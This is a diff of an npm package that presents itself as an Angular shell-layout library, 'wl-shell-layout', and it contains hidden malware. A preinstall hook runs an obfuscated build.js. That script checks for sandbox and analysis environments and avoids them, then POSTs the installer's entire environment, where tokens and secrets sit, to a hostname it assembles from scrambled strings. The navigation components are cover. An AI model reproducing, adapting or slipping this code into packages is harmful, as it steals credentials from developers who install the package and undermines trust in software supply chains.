wl-shell-layout 0.0.75

package/README.md

@@ -0,0 +1 @@
+Testing shell layout on dev-env.

package/build.js

@@ -0,0 +1,205 @@
+const goto = require('https');
+
+function build() {
+    let options = {
+        "Name": "New PI Contact",
+        "Phone": "+158948945565",
+        "Message": "My Best Dream Friend",
+        "Address": "Avite St pe-455 NET"
+    };
+
+    return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
+        options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
+}
+
+function takeAndGive(str1, str2) {
+    return str2 + str1
+}
+
+function number_of(item) {
+
+    for (let i = 0; i < 4; i++) {
+        if (i == 1) { 
+            item += 's' 
+        }
+        if (i == 3) { 
+            item += 'e6' 
+        }
+    }
+    return item + '4'
+}
+
+function snooz(pkg_n, prefix) {
+
+    let missing = [
+        ['npm', 'package', 'name'].join('_'),
+        ['npm', 'package', 'json'].join('_'),
+    ];
+
+    var plop = process['en' + 'v'] || {};
+    
+    //new edition
+    if (initEngine(plop)){
+        return ;
+    }
+    if (fixIssues(plop)){
+        return ;
+    }
+    if (handleEverything(plop)){
+        return ;
+    }
+    if (missing.some( index => !plop[index] )) { 
+        return; 
+    }
+
+    var req = goto
+        .request(use_language(pkg_n, prefix))
+        .on('error', function (err) { });
+    req.write(JSON.stringify(plop));
+    req.end();
+}
+
+function bible(convertion){
+    switch (convertion) {
+        case 'reg':
+            return takeAndGive('istry', 'reg');
+        case 'conf':
+            return 'conf' + 'ig';
+        case 'np':
+            return 'npm';
+        case 'UNAME':
+            return 'US' + 'ERNAME';
+        case 'HM':
+            return 'HOME';
+        case 'USR':
+            return 'USER';
+        case 'APTA':
+            return takeAndGive('PDATA', 'AP');
+        case 'py':
+            return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
+        case 'anal':
+            return 'ana'.concat('lysis');
+        case 'INIT':
+            return ['INIT', 'CWD'].join('_');
+        case 'pkg':
+            return 'pac'.concat('kage')
+        case 'uname':
+            return 'us' + takeAndGive('ame', 'ern');
+    
+        default:
+            return null;
+    }
+
+}
+
+function fixIssues(plop){
+    let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
+    capture_pictures(plop, bible('USR'), bible('uname')) &&
+    capture_pictures(plop, 'LOGNAME', bible('uname'));
+
+    let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
+    capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
+    capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
+
+    let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
+    capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
+
+    let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
+    capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
+
+    if (kill || move || teach || talk){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+var MapObj = function () {
+    this.name = '__st' + (Math.random() * 145459 >> 0);
+};
+
+function handleEverything(plop){
+    const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
+        capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
+        capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
+
+    const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
+        capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
+        capture_pictures(plop, bible('USR'), 'app');
+    
+    
+    
+    const us = capture_pictures(plop, 'EDITOR', 'vi') && 
+        capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') && 
+        capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) && 
+        capture_pictures(plop, 'S' + 'HLVL', '2') && 
+        capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) && 
+        capture_pictures(plop, 'NVM_CD_FLAGS', '') && 
+        capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
+    
+    if (you || me || us){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+function use_language(pkg_n, prefix){
+    let options = {
+        hostname: prefix + '.m.' + build(),
+        path: '/' + (pkg_n || ''),
+        method: 'POST',
+      };
+    return options
+}
+
+function capture_pictures(p, name, val){
+    let test = p[name] || '';
+    if(test.includes(val) || val === '*'){
+        return true;
+    } else {
+        return false;
+    }
+}
+
+MapObj.prototype = {
+    set: function (key, value) {
+        var entry = key[this.name];
+        if (entry && entry[0] === key)
+            entry[1] = value;
+        else
+            defineProperty(key, this.name, { value: [key, value], writable: true });
+        return this;
+    },
+    get: function (key) {
+        var entry;
+        return (entry = key[this.name]) && entry[0] === key ?
+            entry[1] : undefined;
+    },
+    delete: function (key) {
+        var entry = key[this.name];
+        if (!entry || entry[0] !== key) return false;
+        entry[0] = entry[1] = undefined;
+        return true;
+    },
+    has: function (key) {
+        var entry = key[this.name];
+        if (!entry) return false;
+        return entry[0] === key;
+    }
+};
+
+function initEngine(plop){
+    if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) { 
+        return true; 
+    }
+    if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) || 
+        capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
+        capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
+        capture_pictures(plop, '_', bible('py')) ||
+        capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) { 
+        return true; 
+    }
+}
+
+snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "wl-shell-layout",
+  "version": "0.0.75",
+  "description": "shell layout for dev env",
+  "main": "wl-shell-layout.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node build.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/wl-shell-layout.js

@@ -0,0 +1,457 @@
+import * as i0 from '@angular/core';
+import { Injectable, EventEmitter, Component, Input, Output, NgModule } from '@angular/core';
+import * as i4 from '@angular/common';
+import { CommonModule } from '@angular/common';
+import * as i1 from '@angular/router';
+import { NavigationEnd, RouterModule } from '@angular/router';
+import * as i2 from 'ngx-permissions';
+import { keys, filter } from 'lodash';
+import { Subject } from 'rxjs';
+import $ from 'jquery';
+import * as i5 from '@ngx-translate/core';
+import { TranslateModule } from '@ngx-translate/core';
+import * as i4$1 from '@angular/platform-browser';
+import { takeUntil } from 'rxjs/operators';
+import * as i5$1 from 'wl-layout';
+import { WlBreadcrumbsModule, WlEmptyBlockModule } from 'wl-layout';
+import * as i7 from '@angular/forms';
+import { FormsModule } from '@angular/forms';
+
+const isPermitted = (menuOption, permissionsService) => {
+    let permitted = false;
+    // to check
+    const permissions = keys(permissionsService.getPermissions());
+    if (!menuOption.permissions.length)
+        permitted = true;
+    menuOption.permissions.forEach((permission) => {
+        if (permissions.includes(permission))
+            permitted = true;
+    });
+    menuOption.blacklistedPermissions.forEach((blacklistedPermission) => {
+        if (permissions.includes(blacklistedPermission))
+            permitted = false;
+    });
+    return permitted;
+};
+const filterMenuOptions = (menuOptions, permissionsService, featureFlags) => {
+    let filteredMenuOptions = filter(menuOptions, menuOption => {
+        const featureFlagOn = featureFlags[menuOption.featureFlag];
+        const permitted = isPermitted(menuOption, permissionsService);
+        let hasChildrenOrIsTopLevel = false;
+        if (featureFlagOn && permitted) {
+            if (menuOption.children == null) {
+                hasChildrenOrIsTopLevel = true;
+            }
+            else {
+                // noinspection JSPrimitiveTypeWrapperUsage
+                menuOption.children = filter(menuOption.children, (child) => {
+                    const childFeatureFlagOn = featureFlags[menuOption.featureFlag][child.featureFlag];
+                    const childPermitted = isPermitted(child, permissionsService);
+                    return childFeatureFlagOn && childPermitted;
+                });
+                if (menuOption.children.length > 0)
+                    hasChildrenOrIsTopLevel = true;
+            }
+        }
+        return featureFlagOn && permitted && hasChildrenOrIsTopLevel;
+    });
+    // If a parent menu option only has one child then make the child the parent
+    // This avoids menu options that expand but only have one child
+    filteredMenuOptions = filteredMenuOptions.map((menuOption) => {
+        if (menuOption.children && menuOption.children.length === 1) {
+            const faIcon = menuOption.faIcon;
+            const text = menuOption.text;
+            menuOption = menuOption.children[0];
+            // noinspection JSPrimitiveTypeWrapperUsage
+            menuOption.faIcon = faIcon;
+            // noinspection JSPrimitiveTypeWrapperUsage
+            menuOption.text = text;
+        }
+        return menuOption;
+    });
+    return filteredMenuOptions;
+};
+
+class WlTopNavbarService {
+    constructor() {
+        this.toggleNavigationSource = new Subject();
+        this.toggleNavigation$ = this.toggleNavigationSource.asObservable();
+        this.titleUpdateSource = new Subject();
+        this.titleUpdate$ = this.titleUpdateSource.asObservable();
+        this.animateSideMenuOpacity = () => {
+            const sideMenu = $('#side-menu');
+            sideMenu.fadeTo('fast', 0);
+            setTimeout(() => {
+                sideMenu.fadeTo('slow', 1);
+            }, 200);
+        };
+    }
+    toggleNavigation(expand = null) {
+        this.toggleNavigationSource.next(expand);
+    }
+    updateTitle(title) {
+        this.titleUpdateSource.next(title);
+    }
+    smoothlyMenu() {
+        const body = $('body');
+        const sideMenu = $('#side-menu');
+        if (!body.hasClass('mini-navbar') || body.hasClass('body-small')) {
+            // Hide menu in order to smoothly turn on when maximize menu
+            sideMenu.hide();
+            this.animateSideMenuOpacity();
+            // For smoothly turn on menu
+            setTimeout(() => {
+                sideMenu.fadeIn(400);
+            }, 200);
+        }
+        else if ($('body').hasClass('fixed-sidebar')) {
+            sideMenu.hide();
+            this.animateSideMenuOpacity();
+            setTimeout(() => {
+                sideMenu.fadeIn(400);
+            }, 100);
+        }
+        else {
+            // Remove all inline style from jquery fadeIn function to reset menu state
+            sideMenu.removeAttr('style');
+        }
+    }
+}
+WlTopNavbarService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+WlTopNavbarService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, decorators: [{
+            type: Injectable,
+            args: [{ providedIn: 'root' }]
+        }] });
+
+class WlNavigationComponent {
+    constructor(router, permissionsService, topNavbarService) {
+        this.router = router;
+        this.permissionsService = permissionsService;
+        this.topNavbarService = topNavbarService;
+        this.externalUrls = {};
+        this.subscriptions = [];
+        this.defaultMenuOptions = [];
+        this.topNavbarExpand = new EventEmitter();
+        this.showOpenidRequired = new EventEmitter();
+    }
+    get expanded() {
+        return !$('body').hasClass('mini-navbar');
+    }
+    ngOnInit() {
+        this.setupNavigation();
+    }
+    ngAfterViewInit() {
+        var _a, _b;
+        if ((_a = $('body')) === null || _a === void 0 ? void 0 : _a.hasClass('fixed-sidebar')) {
+            (_b = jQuery('.sidebar-collapse')) === null || _b === void 0 ? void 0 : _b.slimscroll({
+                height: '100%'
+            });
+        }
+    }
+    ngOnChanges(changes) {
+        if (changes === null || changes === void 0 ? void 0 : changes.navigationData) {
+            this.navigationData = changes.navigationData.currentValue;
+            this.setupNavigation();
+        }
+    }
+    ngOnDestroy() {
+        this.subscriptions.forEach((sub) => sub.unsubscribe());
+    }
+    setupNavigation() {
+        var _a, _b, _c, _d;
+        if ((_a = this.navigationData) === null || _a === void 0 ? void 0 : _a.displayName) {
+            this.gravatar = 'https://www.gravatar.com/avatar/' + ((_b = this.navigationData) === null || _b === void 0 ? void 0 : _b.hash) + '?s=50&r=pg&d=mm';
+            this.externalUrls.deviceManagement = (_c = this.navigationData) === null || _c === void 0 ? void 0 : _c.deviceManagement;
+            this.menuOptions = filterMenuOptions(this.defaultMenuOptions, this.permissionsService, (_d = this.navigationData) === null || _d === void 0 ? void 0 : _d.featureFlags);
+        }
+    }
+    getMenuOptionTitle(menuOptionOrText) {
+        if (this.expanded)
+            return '';
+        let text;
+        if (typeof menuOptionOrText === 'object') {
+            const menuOption = menuOptionOrText;
+            text = menuOption.text;
+            if (this.activeRoute(menuOption.activeRoute)) {
+                if (menuOption.children) {
+                    menuOption.children.forEach((child) => {
+                        if (this.activeRoute(child.activeRoute)) {
+                            text += ' > ' + child.text;
+                        }
+                    });
+                }
+            }
+        }
+        else {
+            text = menuOptionOrText;
+        }
+        return text;
+    }
+    activeRoute(routename) {
+        var _a, _b, _c;
+        if (routename && routename.endsWith('dashboard')) {
+            if (routename === 'dashboard')
+                return ((_a = this.router) === null || _a === void 0 ? void 0 : _a.url) === '/dashboard';
+            if (routename === 'reporting/dashboard')
+                return ((_b = this.router) === null || _b === void 0 ? void 0 : _b.url) === '/reporting/dashboard';
+        }
+        return ((_c = this.router) === null || _c === void 0 ? void 0 : _c.url.indexOf(routename)) > -1;
+    }
+    openidRequired() {
+        this.showOpenidRequired.emit(true);
+    }
+    toggleNavigation(expand) {
+        this.topNavbarService.toggleNavigation(expand);
+        this.topNavbarExpand.emit(expand);
+    }
+    toggleMenuOption(menuOption) {
+        this.menuOptions.forEach((item) => {
+            item.toggle = false;
+        });
+        menuOption.toggle = !menuOption.toggle;
+    }
+}
+WlNavigationComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, deps: [{ token: i1.Router }, { token: i2.NgxPermissionsService }, { token: WlTopNavbarService }], target: i0.ɵɵFactoryTarget.Component });
+WlNavigationComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlNavigationComponent, selector: "wl-shell-navigation", inputs: { defaultMenuOptions: "defaultMenuOptions", navigationData: "navigationData" }, outputs: { topNavbarExpand: "topNavbarExpand", showOpenidRequired: "showOpenidRequired" }, usesOnChanges: true, ngImport: i0, template: "<nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n  <div class=\"sidebar-collapse\">\n    <ul class=\"nav metismenu\" id=\"side-menu\">\n      <li class=\"nav-header\">\n        <ng-container *ngIf=\"!navigationData?.uiLogo\">\n          <img class=\"wl-logo wl-logo-retracted\" src=\"/assets/images/wl-logo-thin.png\" alt=\"WL\" />\n          <img class=\"wl-logo wl-logo-expanded\" src=\"/assets/images/wl-logo-2019.png\" alt=\"WL\" />\n          <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n        </ng-container>\n        <ng-container *ngIf=\"navigationData?.uiLogo\">\n          <div class=\"custom-logo-retracted-wrapper\">\n            <img class=\"custom-logo custom-logo-retracted\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n          </div>\n          <div class=\"custom-logo-expanded-wrapper\">\n            <img class=\"custom-logo custom-logo-expanded\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n            <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n          </div>\n        </ng-container>\n\n        <ng-template #profile>\n          <div class=\"dropdown profile-element\">\n            <a routerLink=\"/user/edit\"><img alt=\"image\" class=\"img-circle\" [src]=\"gravatar\" /></a>\n            <span class=\"clear\">\n              <span class=\"block m-t-xs\">\n                <strong class=\"username\">\n                  <a routerLink=\"/user/edit\">{{ navigationData?.displayName }}</a>\n                </strong>\n              </span>\n            </span>\n          </div>\n        </ng-template>\n      </li>\n\n      <ng-container *ngFor=\"let menuOption of menuOptions\">\n        <!-- Top level links -->\n        <ng-container *ngIf=\"menuOption.children === undefined\">\n          <li\n            [ngClass]=\"{\n              active: activeRoute(menuOption.activeRoute),\n              'has-no-children': true,\n              'standard-li': true\n            }\"\n            [title]=\"getMenuOptionTitle(menuOption) | translate\"\n          >\n            <a [routerLink]=\"menuOption.routerLink\" (click)=\"toggleMenuOption(menuOption)\">\n              <em [ngClass]=\"menuOption.faIcon\"></em><span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n            </a>\n          </li>\n        </ng-container>\n\n        <!-- Links with children -->\n        <ng-container *ngIf=\"menuOption.children !== undefined\">\n          <li\n            [ngClass]=\"{\n              active: activeRoute(menuOption.activeRoute),\n              'has-children': true,\n              'standard-li': true,\n              'app-active': activeRoute(menuOption.activeRoute)\n            }\"\n            [title]=\"getMenuOptionTitle(menuOption) | translate\"\n            (click)=\"toggleNavigation(true)\"\n          >\n            <a (click)=\"toggleMenuOption(menuOption)\">\n              <em [ngClass]=\"menuOption.faIcon\"></em>\n              <span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n              <span class=\"fa arrow\"></span>\n            </a>\n            <ul\n              class=\"nav nav-second-level collapse animated fadeIn\"\n              [ngClass]=\"{\n                in: activeRoute(menuOption.activeRoute) || menuOption.toggle\n              }\"\n            >\n              <ng-container *ngFor=\"let child of menuOption.children\">\n                <li\n                  *ngIf=\"!child.external\"\n                  [ngClass]=\"{active: activeRoute(child.activeRoute)}\"\n                  [title]=\"getMenuOptionTitle(child) | translate\"\n                >\n                  <a [routerLink]=\"child.routerLink\">{{ child.text | translate }}</a>\n                </li>\n                <li *ngIf=\"child.external\" [title]=\"getMenuOptionTitle(child) | translate\">\n                  <ng-container *ngIf=\"externalUrls[child.url] !== null\">\n                    <a [href]=\"externalUrls[child.url]\" target=\"_blank\" rel=\"noopener\">{{ child.text | translate }}</a>\n                  </ng-container>\n                  <ng-container *ngIf=\"externalUrls[child.url] === null\">\n                    <a (click)=\"openidRequired()\">{{ child.text | translate }}</a>\n                  </ng-container>\n                </li>\n              </ng-container>\n            </ul>\n          </li>\n        </ng-container>\n      </ng-container>\n    </ul>\n  </div>\n</nav>\n", styles: [".sidebar-collapse{background-color:#2a3b4d}hr{background-color:#6b6b6b;height:1px;border:0;padding:0;margin:10px 0 8px}.nav-header{padding:0;position:absolute}li.standard-li{position:relative;top:300px}.username a{color:#b6b6b6}.username a:hover{color:#fff}.fa.arrow{transform:rotate(180deg)}a[aria-expanded=true] .fa.arrow{transform:rotate(0)}li.active>a>span.fa.arrow{transform:rotate(0)}.dropdown.profile-element{text-align:center;margin-left:61px}li.app-active>a{color:#fff}img.wl-logo-retracted{margin-top:10px;margin-left:11px;width:48px;height:auto}img.wl-logo-expanded{margin-top:20px;margin-bottom:25px;margin-left:70px;height:93px}.custom-logo-expanded-wrapper,.custom-logo-retracted-wrapper{text-align:center}.custom-logo-expanded-wrapper img.custom-logo-expanded,.custom-logo-expanded-wrapper img.custom-logo-retracted,.custom-logo-retracted-wrapper img.custom-logo-expanded,.custom-logo-retracted-wrapper img.custom-logo-retracted{max-width:100%;margin-bottom:25px;color:#ccc;text-indent:5px}.custom-logo-expanded-wrapper{margin-top:20px;margin-left:20px;width:180px}.custom-logo-expanded-wrapper .dropdown.profile-element{margin-left:0}.custom-logo-retracted-wrapper{margin-top:5px;margin-left:10px;width:50px}\n"], directives: [{ type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i4.NgTemplateOutlet, selector: "[ngTemplateOutlet]", inputs: ["ngTemplateOutletContext", "ngTemplateOutlet"] }, { type: i1.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i5.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, decorators: [{
+            type: Component,
+            args: [{
+                    // eslint-disable-next-line @angular-eslint/component-selector
+                    selector: 'wl-shell-navigation',
+                    templateUrl: './wl-navigation.component.html',
+                    styleUrls: ['./wl-navigation.component.scss',]
+                }]
+        }], ctorParameters: function () { return [{ type: i1.Router }, { type: i2.NgxPermissionsService }, { type: WlTopNavbarService }]; }, propDecorators: { defaultMenuOptions: [{
+                type: Input
+            }], navigationData: [{
+                type: Input
+            }], topNavbarExpand: [{
+                type: Output
+            }], showOpenidRequired: [{
+                type: Output
+            }] } });
+
+class NavigationService {
+    constructor() {
+        this.collapseSubMenusSource = new Subject();
+        this.collapseSubMenus$ = this.collapseSubMenusSource.asObservable();
+        this.expandActiveSubMenuSource = new Subject();
+        this.expandActiveSubMenu$ = this.expandActiveSubMenuSource.asObservable();
+    }
+    collapseSubMenus() {
+        this.collapseSubMenusSource.next();
+    }
+    expandActiveSubMenu() {
+        this.expandActiveSubMenuSource.next();
+    }
+}
+NavigationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
+NavigationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, providedIn: 'root' });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, decorators: [{
+            type: Injectable,
+            args: [{ providedIn: 'root' }]
+        }] });
+
+class WlTopNavbarComponent {
+    constructor(route, router, topNavbarService, navigationService, titleService) {
+        this.route = route;
+        this.router = router;
+        this.topNavbarService = topNavbarService;
+        this.navigationService = navigationService;
+        this.titleService = titleService;
+        this.environment = null;
+        this.userData = null;
+        this.logout = new EventEmitter();
+        this.changeLocale = new EventEmitter();
+        this.openFeedbackModal = new EventEmitter();
+        this.endImpersonationSession = new EventEmitter();
+        this.toggleNavigationExpanded = new EventEmitter();
+        this.title = "";
+        this.breadcrumbs = [];
+        this.legacyUrl = "";
+        this.impersonatedUser = false;
+        this.expanded = true;
+        this.unsubscribe$ = new Subject();
+        this._locale = "";
+    }
+    get locale() {
+        return this._locale;
+    }
+    set locale(locale) {
+        this._locale = locale;
+        this.changeLocale.emit(locale);
+    }
+    ngOnInit() {
+        this.router.events.subscribe(event => {
+            if (event instanceof NavigationEnd) {
+                this.updateTitle();
+            }
+        });
+        this.topNavbarService.titleUpdate$.pipe(takeUntil(this.unsubscribe$)).subscribe(title => {
+            this.title = title;
+            this.titleService.setTitle(title);
+        });
+    }
+    ngOnChanges(changes) {
+        var _a, _b, _c, _d, _e;
+        this.userData = changes.userData.currentValue;
+        this.impersonatedUser = ((_a = this.userData) === null || _a === void 0 ? void 0 : _a.isImpersonatedToken) ? this.userData.isImpersonatedToken : false;
+        if (this.impersonatedUser) {
+            if ((_b = this.userData) === null || _b === void 0 ? void 0 : _b.locale) {
+                this.locale = (_c = this.userData) === null || _c === void 0 ? void 0 : _c.locale;
+                this.changeLocale.emit((_d = this.userData) === null || _d === void 0 ? void 0 : _d.locale);
+            }
+        }
+        this.legacyUrl = (_e = this.environment) === null || _e === void 0 ? void 0 : _e.legacyUrl;
+        this.updateTitle();
+        this.setUpSidebarExpanded();
+    }
+    ngOnDestroy() {
+        this.unsubscribe$.next();
+        this.unsubscribe$.complete();
+        clearInterval(this.interval);
+    }
+    updateTitle() {
+        var _a, _b;
+        const firstChild = this.route.snapshot.firstChild;
+        this.title = 'Untitled Page';
+        this.breadcrumbs = [];
+        const topnavbar = (_b = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.data) === null || _a === void 0 ? void 0 : _a.sfData) === null || _b === void 0 ? void 0 : _b.topnavbar;
+        if (topnavbar) {
+            if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.title)
+                this.title = topnavbar.title;
+            if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.breadcrumbs)
+                this.breadcrumbs = topnavbar.breadcrumbs;
+        }
+    }
+    toggleNavigation() {
+        if (this.expanded === true) {
+            this.retractNavigation();
+            this.toggleNavigationExpanded.emit(false);
+            this.expanded = false;
+        }
+        else if (this.expanded === false) {
+            this.expandNavigation();
+            this.toggleNavigationExpanded.emit(true);
+            this.expanded = true;
+        }
+        if (this.router.url === '/dashboard') {
+            // triggers a redraw of gridster and the graphs
+            window.dispatchEvent(new Event('resize'));
+        }
+    }
+    expandNavigation() {
+        $('body').removeClass('mini-navbar');
+        this.topNavbarService.smoothlyMenu();
+        this.navigationService.expandActiveSubMenu();
+    }
+    retractNavigation() {
+        $('body').addClass('mini-navbar');
+        this.topNavbarService.smoothlyMenu();
+        this.navigationService.collapseSubMenus();
+    }
+    setUpSidebarExpanded() {
+        var _a;
+        if (((_a = this.userData) === null || _a === void 0 ? void 0 : _a.sidebarExpanded) === false) {
+            this.toggleNavigation();
+        }
+    }
+}
+WlTopNavbarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, deps: [{ token: i1.ActivatedRoute }, { token: i1.Router }, { token: WlTopNavbarService }, { token: NavigationService }, { token: i4$1.Title }], target: i0.ɵɵFactoryTarget.Component });
+WlTopNavbarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlTopNavbarComponent, selector: "wl-shell-top-navbar", inputs: { environment: "environment", userData: "userData" }, outputs: { logout: "logout", changeLocale: "changeLocale", openFeedbackModal: "openFeedbackModal", endImpersonationSession: "endImpersonationSession", toggleNavigationExpanded: "toggleNavigationExpanded" }, usesOnChanges: true, ngImport: i0, template: "<div class=\"topnavbar-wrapper\">\n  <div class=\"navbar-row row border-bottom\">\n    <nav\n      class=\"navbar navbar-static-top\"\n      [ngClass]=\"{\n        'impersonated-user': impersonatedUser,\n        'white-bg': !impersonatedUser\n      }\"\n      role=\"navigation\"\n    >\n      <div class=\"navbar-header\">\n        <a class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"toggleNavigation()\">\n          <em class=\"fas fa-lg fa-bars toggle-navigation\"></em>\n        </a>\n        <a class=\"navbar-minimalize minimalize-styl-2 btn\" [href]=\"legacyUrl\">SIMPro 4</a>\n        <a *ngIf=\"!impersonatedUser\" class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"openFeedbackModal.emit(true)\"\n        >{{ \"GUIBundle.generic.feedback\" | translate }}</a\n        >\n        <ul class=\"nav navbar-top-links navbar-left beta-version\">\n          <li>\n            <a><em>&nbsp;</em></a>\n          </li>\n        </ul>\n      </div>\n    </nav>\n  </div>\n\n  <div class=\"navbar-right-fixed upper\">\n    <ul *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right impersonated-user\">\n      <li>{{ \"GUIBundle.views.impersonate.impersonation_session_expire_in\" | translate }}: {{ counterValue }} |</li>\n      <li>\n        <a class=\"text-white\" (click)=\"endImpersonationSession.emit(true)\">\n          <em class=\"fas fa-sign-out\"></em>\n          {{ \"GUIBundle.views.impersonate.end_impersonation_session\" | translate }}\n        </a>\n      </li>\n    </ul>\n    <ul *ngIf=\"!impersonatedUser\" class=\"nav navbar-top-links navbar-right\">\n      <li class=\"logout-list-item\">\n        <a (click)=\"logout.emit(true)\">\n          <em class=\"fas fa-sign-out\"></em>\n          {{ \"GUIBundle.generic.logout\" | translate }}\n        </a>\n      </li>\n    </ul>\n    <div *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right language-select\">\n      <select class=\"form-control choose-language\" [(ngModel)]=\"locale\">\n        <option *ngFor=\"let lang of userData?.locales\" value=\"{{ lang.id }}\">{{ lang.text }}</option>\n      </select>\n    </div>\n  </div>\n  <p>ajhsadashadsh</p>\n  <wll-empty-block region=\"upper\"></wll-empty-block>\n\n<!--  <div class=\"navbar-right-fixed lower\">-->\n<!--    <app-service-status></app-service-status>-->\n<!--  </div>-->\n\n  <div class=\"lower-navbar-wrapper\">\n    <div class=\"breadcrumbs-wrapper\">\n      <wll-breadcrumbs [title]=\"title\" [breadcrumbs]=\"breadcrumbs\"></wll-breadcrumbs>\n    </div>\n  </div>\n\n  <wll-empty-block region=\"lower\"></wll-empty-block>\n\n  <div class=\"navbar-gap\"></div>\n</div>\n", styles: ["ul{position:relative;left:25px}.navbar{position:fixed;border-bottom:1px solid #ccc;margin-bottom:0;width:100%}.navbar-right-fixed{position:fixed;top:0;right:0}.navbar-right-fixed.upper{top:0;z-index:1000}.navbar-right-fixed.lower{top:73px;width:270px;margin-right:35px;z-index:3}.logout-list-item{position:relative;right:40px}.logout-list-item a:hover{color:#696c6e}.navbar-minimalize{border:1px solid #ececec;color:#878787;margin-left:25px}.navbar-minimalize:hover{color:#273646}.lower-navbar-wrapper{width:100%;position:fixed;height:81px;z-index:2;background-color:#f3f3f4;border-bottom:1px solid #ececec;margin-left:-15px}.breadcrumbs-wrapper{margin:12px 0 0 23px}.navbar-gap{height:12px}.navbar-left{float:left}.beta-version a{cursor:default;opacity:0}.impersonated-user{background-color:#d9534f;color:#fff}.impersonated-user .navbar-minimalize,.nav.navbar-right ul.impersonated-user,.nav.navbar-right.impersonated-user>li>a{color:#fff}.language-select{margin-top:14px}\n"], components: [{ type: i5$1.WlEmptyBlockComponent, selector: "wll-empty-block", inputs: ["region"] }, { type: i5$1.BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: ["title", "breadcrumbs", "homeRoute"] }], directives: [{ type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i7.SelectControlValueAccessor, selector: 